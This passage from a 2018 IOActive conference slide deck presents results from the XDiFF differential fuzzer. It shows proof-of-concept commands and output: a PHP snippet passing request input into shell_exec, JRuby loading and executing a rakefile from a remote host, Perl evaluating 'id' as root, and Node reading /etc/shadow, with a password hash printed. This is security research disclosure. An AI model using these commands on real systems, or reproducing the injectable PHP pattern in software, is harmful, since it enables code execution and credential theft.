  • 40. IOActive, Inc. Copyright ©2018. All Rights Reserved. 4.1. Path Disclosure: Powershell C:Users>powershell -Command Clear-Content -Confirm non-existing-file Clear-Content : Cannot find path 'C:Usersnon-existing-file' because it does not exist. At line:1 char:1 + Clear-Content -Confirm non-existing-file + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : ObjectNotFound: (C:Usersnon-existing- file:String) [Clear-Content], ItemNotFoundExcepti on + FullyQualifiedErrorId : PathNotFound,Microsoft.PowerShell.Commands.ClearContentCommand
  • 41. IOActive, Inc. Copyright ©2018. All Rights Reserved. 4.1. Path Disclosure: Powershell (cont’d) C:Users>echo blah > existing-file C:Users>powershell -Command Clear-Content -Confirm existing-file Confirm Are you sure you want to perform this action? Performing the operation "Clear Content" on target "Item: C:Usersexisting-file". [Y] Yes [A] Yes to All [N] No [L] No to All [S] Suspend [?] Help (default is "Y"):
  • 42. IOActive, Inc. Copyright ©2018. All Rights Reserved. 4.2. User Disclosure: XDiFF Output
  • 43. IOActive, Inc. Copyright ©2018. All Rights Reserved. 4.2. User Disclosure C:>powershell -Command Start-Transcript Transcript started, output file is C:UsersAdministratorDocumentsPowerShell_transcript.DESKTOP- QIJDN98.xoUGhDVe.20180328104416.txt
  • 44. IOActive, Inc. Copyright ©2018. All Rights Reserved. 4.3. Error Disclosure: XDiFF Output
  • 45. IOActive, Inc. Copyright ©2018. All Rights Reserved. 4.4. Code Evaluated: XDiFF Output
  • 46. IOActive, Inc. Copyright ©2018. All Rights Reserved. 4.4. Code Evaluated: Perl # perl -e "use ExtUtils::Typemaps::Cmd;print embeddable_typemap("system 'id'")" String found where operator expected at (eval 1) line 1, near "require ExtUtils::Typemaps::system 'id'" (Do you need to predeclare require?) uid=0(root) gid=0(root) groups=0(root) Unable to find typemap for 'system 'id'': Tried to load both as file or module and failed.
  • 47. IOActive, Inc. Copyright ©2018. All Rights Reserved. 4.5. Command Execution: XDiFF Output
  • 48. IOActive, Inc. Copyright ©2018. All Rights Reserved. 4.5. Command Execution: PHP 1/4
  • 49. IOActive, Inc. Copyright ©2018. All Rights Reserved. 4.5. Command Execution: PHP 1/3 • Let’s define the a bash constant on index.php: • The previous file requires functions.php and shows a man page: <?php define("bash","man "); require_once("functions.php"); ?> <?php $output = shell_exec(bash.$_GET['page']); print "<pre>".$output."</pre>"; ?>
  • 50. IOActive, Inc. Copyright ©2018. All Rights Reserved. 4.5. Command Execution: PHP 2/3 • The command “man ” is executed when index.php is called:
  • 51. IOActive, Inc. Copyright ©2018. All Rights Reserved. 4.5. Command Execution: PHP 3/3 • The command “bash” is executed when functions.php is called:
  • 52. IOActive, Inc. Copyright ©2018. All Rights Reserved. 4.6. Network Connection: XDiFF Output
  • 53. IOActive, Inc. Copyright ©2018. All Rights Reserved. 4.6. Network Connection: JRuby RCE # curl http://10.0.0.1/canaryfile puts %x(id) Ruby v2.3.1 JRuby v1.7.27 # ruby -e 'require "rake";puts Rake.load_rakefile("http://10.0.0.1/canar yfile")' /usr/lib/ruby/vendor_ruby/rake/rake_mod ule.rb:28:in `load': cannot load such file -- [...SNIP...] # jruby -e 'require "rake";puts Rake.load_rakefile("http://10.0.0.1/canar yfile")' uid=0(root) gid=0(root) groups=0(root)
  • 54. IOActive, Inc. Copyright ©2018. All Rights Reserved. 4.7. File Read: XDiFF Output
  • 55. IOActive, Inc. Copyright ©2018. All Rights Reserved. 4.7. File Read: Leak Root’s Password NodeJS with Chakracore NodeJS v4.2.6 with V8 # node -e "console.log(require('/etc/shadow))" SyntaxError: Invalid character [...SNIP...] # node -e "console.log(require('/etc/shadow'))" /etc/shadow:1 (function (exports, require, module, __filename, __dirname) { root:$6$AP53wsfZ$XdxiQRFJF6PzdRd3SxD eIwKsmyEkWgNOSSg.WZR18KfLo617cR1Z swMZEPT5QTS95aH.NI2DrqmQ8rMbm8sIq/: 17172:0:14600:14::: ^ SyntaxError: Unexpected token :
  • 56. IOActive, Inc. Copyright ©2018. All Rights Reserved. Extended Differential Fuzzing Conclusions • Analyze different vulnerabilities • Expose more vulnerabilities by differential analysis • One payload could be used affect multiple pieces of software
  • 57. IOActive, Inc. Copyright ©2018 All Rights Reserved. Questions?
  • 58. IOActive, Inc. Copyright ©2018 All Rights Reserved. Tante Grazie ! XDiFF (Extended Differential Fuzzer): https://github.com/IOActive/XDiFF